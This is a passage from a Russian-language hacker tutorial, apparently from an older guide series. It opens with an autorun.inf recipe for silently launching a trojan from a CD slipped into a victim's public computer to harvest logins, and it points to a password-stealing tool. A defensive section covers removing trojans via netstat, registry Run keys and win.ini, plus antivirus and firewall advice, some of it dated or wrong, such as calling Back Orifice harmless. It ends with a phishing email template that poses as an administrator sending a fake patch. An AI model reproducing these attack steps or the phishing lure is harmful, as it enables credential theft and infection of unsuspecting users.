Итак, идите в Блокнот и напечатайте следующее (пожалуйста, будьте внимательны и замените yourfile.exe на реальное имя вашего трояна):

```
[autorun]
open=yourfile.exe
```

Затем кликните на Файл (File), затем на «Сохранить как» (Save as) и сохраните файл в папке с файловым именем autorun.inf. После этого вы должны записать «лазейку» и файл autorun.inf на один диск, вытащить этот диск и больше не вставлять его в свой компьютер. Вставлять его нужно в компьютер жертвы: вставили, подождали немного, затем вытащили диск и спокойно ушли. Лучше всего делать это в режиме хранителя экрана. Но трюк работает при любом режиме, потому что Windows постоянно проверяет, есть ли CD-диск внутри CD-ROM, и если он вставлен, то автоматически загружает файлы, указанные в autorun.inf.

Хакеры обычно используют этот метод в публичных местах. Они устанавливают трояна с программой-регистрацией логинов и таким образом получают пароли и адреса электронной почты тех недальновидных людей, которые пользуются публичными компьютерами.

Local Password Stealing (кража локального пароля)

Конечно, вы можете просто похитить пароли, сохраненные на публичном компьютере. Для этого разработана хакерская программа, называемая «Password Sentinel» (как бы «часовой при пароле», гы-гы-гы). Она весит 13.5 kb. Найдите ее по поисковым системам и поместите в свой хакерский арсенал.

Защита вашего компьютера от всех бед, перечисленных выше

Резня троянских коней

Если вы хотите обезопасить свою Windows, то прежде всего поймите, насколько уязвима эта операционная система. Затем вы можете законопатить ее уязвимые места. Сначала проверьте, имеются ли в вашей системе троянские кони. Они могут скрываться в ней длительные периоды времени. Чтобы выявить их, выйдите в режим офф-лайн, перейдите к окну «Сеанса DOS» и напечатайте команду «netstat -a» без кавычек. Компьютер перечислит вам все открытые порты. Вы можете сравнить их со списками самых распространенных троянов. Выявив троянского коня, вы должны удалить его. Это не трудно. Нажимаете «Пуск» **(Start)**, затем «Выполнить» **(Run)** и печатаете «regedit» без кавычек. Перед вами появляется окно с перечнем каких-то странных папок.

Вы должны кликнуть по знаку «+» рядом с папкой HKEY_LOCAL_MACHINE, затем на «+» рядом с папкой SOFTWARE, затем на «+» рядом с папкой MICROSOFT, затем проделать то же самое с папками WINDOWS и CURRENTVERSION. После этого осмотрите папку «RUN» на наличие подозрительных файлов. Если вы находите какие-то подозрительные файлы, то подчеркиваете их, нажимаете на клавишу delete и в ответ на предупреждение отвечаете «Да.»

Очистив папку RUN, перейдите к папке RunServices. Если найдете подозрительный файл, то воспользуйтесь клавишей delete на кейборде. Теперь вам нужно осмотреть файл win.ini, который находится в папке Windows.

Активируйте Блокнот, затем откройте файл win.ini и сделайте ревизию строк под заголовком load=»». Он находится в верхней части win.ini . Такую же процедуру проведите с файлом system.ini. И вновь используйте Блокнот, откройте этот файл и поищите подозрительные строки по заголовком load=»». Если в этих двух файлах вам попалось нечто подозрительное, то отметьте строку и удалите с помощью клавиши delete.

Да, чуть не забыл! В файле win.ini может быть запись explore.exe. Не удаляйте ее. Это очень важна программа, которая позволяет вам видеть ваши файлы. Когда вы удалите трояны и закончите осмотр реестра, перезапустите компьютер.

Разборка с вирусами

Чтобы избавиться от вирусов, вам нужно установить на компьютер хорошую антивирусную программу. Многие предпочитают ставить Mcafee или Norton, но я не советую вам пользоваться этими программами. Они много требуют, плохо определяют полиморфные вирусы и часто выдают ложные тревоги, причисляя к вирусам вполне нормальные файлы. Это пугает пользователей, и доверчивые люди тут же удаляют «чистые» программы. Лично мне нравится Panda Antivirus. Он лучше всех определяет вирусы, немедленно нейтрализует любые угрозы инфекции и ежедневно обновляется по установленному вами графику. В отличие от других антивирусов Panda быстро сканирует любой хард драйв и требует мало памяти.

Меня часто спрашивают, почему некоторые вирусы определяются, а другие нет? Ответ простой: потому что антивирусы работают с базами данных сигнатур. Сигнатура (или подпись) — это, в основном, копия вируса, и каждый вирус имеет собственную сигнатуру. Почему? Потому что каждый вирус программируется по-разному и является уникальной программой. Когда вы ищите вирусы в своем компьютере, ваша антивирусная программа сличает сигнатуры в своей базе данных. Когда вы обновляете антивирус, он подкачивает именно такие сигнатуры. Но давайте представим, что мы написали новый вирус. Так как он не зарегистрирован антивирусными компаниями, его сигнатура не указана в базах данных — следовательно, он не определяется ни одним существующим антивирусом.

При загрузке программ с различных сайтов не забывайте о следующем:

1. Антивирус может назвать вирусом «чистую» программу. Например, он назовет Back Orifice троянским конем, хотя она таковой не является. И, конечно, антивирусные компании добавили ее в свои базы данных и тем самым помешали людям пользоваться ею.

2. Не всегда доверяйте своим антивирусам и почаще обновляйте их базы данных.

3. Вы можете доверять программным продуктам больших и солидных компаний, потому что они предварительно проверяют каждую свою программу. И их редакторы знают свое дело. Например, вы не сможете «подцепить» вирус на www.download.com, потому что этот сайт принадлежит большой и авторитетной компании.

4. Никогда не скачивайте программ, посланных вам через почту — особенно если они приходят от лиц, которых вы не знаете.

Если вы храните вирусные файлы на своем компьютере, они не заразят систему. Вам нужно запустить файл в действие - только тогда вирус проникнет в ваш компьютер.

NetBIOS

Если вы хотите, чтобы никто не влез в ваш компьютер через «доступ к файлам и принтерам» **(File and Print Sharing)**, то проверьте опции этого режима и деактивируйте их. Ступайте в «Мой компьютер» **(My Computer)**, откройте папку «Панель управления» **(Contol Panel)**, дважды кликните по «Сети» **(Network)**, затем по кнопке «Доступ к файлам и принтерам» **(File and Print Sharing)** и убедитесь, что указанные опции не отмечены галочками. Если они не отмечены, то все так и оставьте. Просто кликните ОК.

Защита портов

Для защиты портов установите Firewall. Эта программа не позволяет хакерам просматривать содержимое вашего компьютера, подключаться к нему и хозяйничать в нем. Существуют две формы Firewall-ов: халявные и за деньги (пара тысяч долларов, не меньше). Я предпочитаю первый вариант. Для Windows годятся продукты ZoneLabs — например, ZoneAlarm. Эту программу можно скачать на **www.download.com.**

Обновление программ

Всегда следите за появлением последних версий софта и всегда старайтесь скачивать обновления для Windows через Windows Update, предлагаемый компанией Microsoft. Также советую вам заглядывать в BugTraq архив на сайте **www.SecurityFocus.com,** потому что там находится список всех известных «багов» и уязвимых мест Windows и других программ. Такие вещи нужно знать.

Прежде чем перейти ко второму руководству этого тома, я хочу подчеркнуть важность темы, которая будет рассмотрена в нем. Речь пойдет о социальной инженерии. Что это такое? А это искусство заставлять людей делать то, что вы хотите. К примеру, хакер хочет получить от человека информацию. Или он хочет, чтобы жертва запустила ту или иную программу. Это можно сделать с помощью нескольких трюков. Допустим, вы решили заразить компьютер жертвы вирусом, и

вам нужно, чтобы эта персона запустила в действие программу с вирусом. Для этого вы пишете ему письмо:

«Уважаемый ФИО!

В данный момент мы расследуем деятельность хакеров из Афганистана, которым удалось проникнуть в нашу базу данных. За последние три месяца они использовали 40 наших паролей. Как оказалась, эта группа использует уязвимое место некоторых версий программы Windows, котоорое позволяет им считывать кэшированные пароли.

Мы предлагаем вам патч для IE, который вы должны установить, как можно быстрее. Это предотвратит дальнейшние проблемы в будущем. Мы посылаем этот патч в приложении к письму. Вы также можете скачать его с вэбсайта компании Microsoft: **http://www.microsoft.com.**

Мы просим извинить нас за беспокойство и надеемся, что данный факт сетевого хулиганства не отвратит вас от преимуществ электронной почты.

Administrator@hotmail.com»

Вам понравилось? Тогда приступайте ко второму руководству. Да пребудет с вами Сила!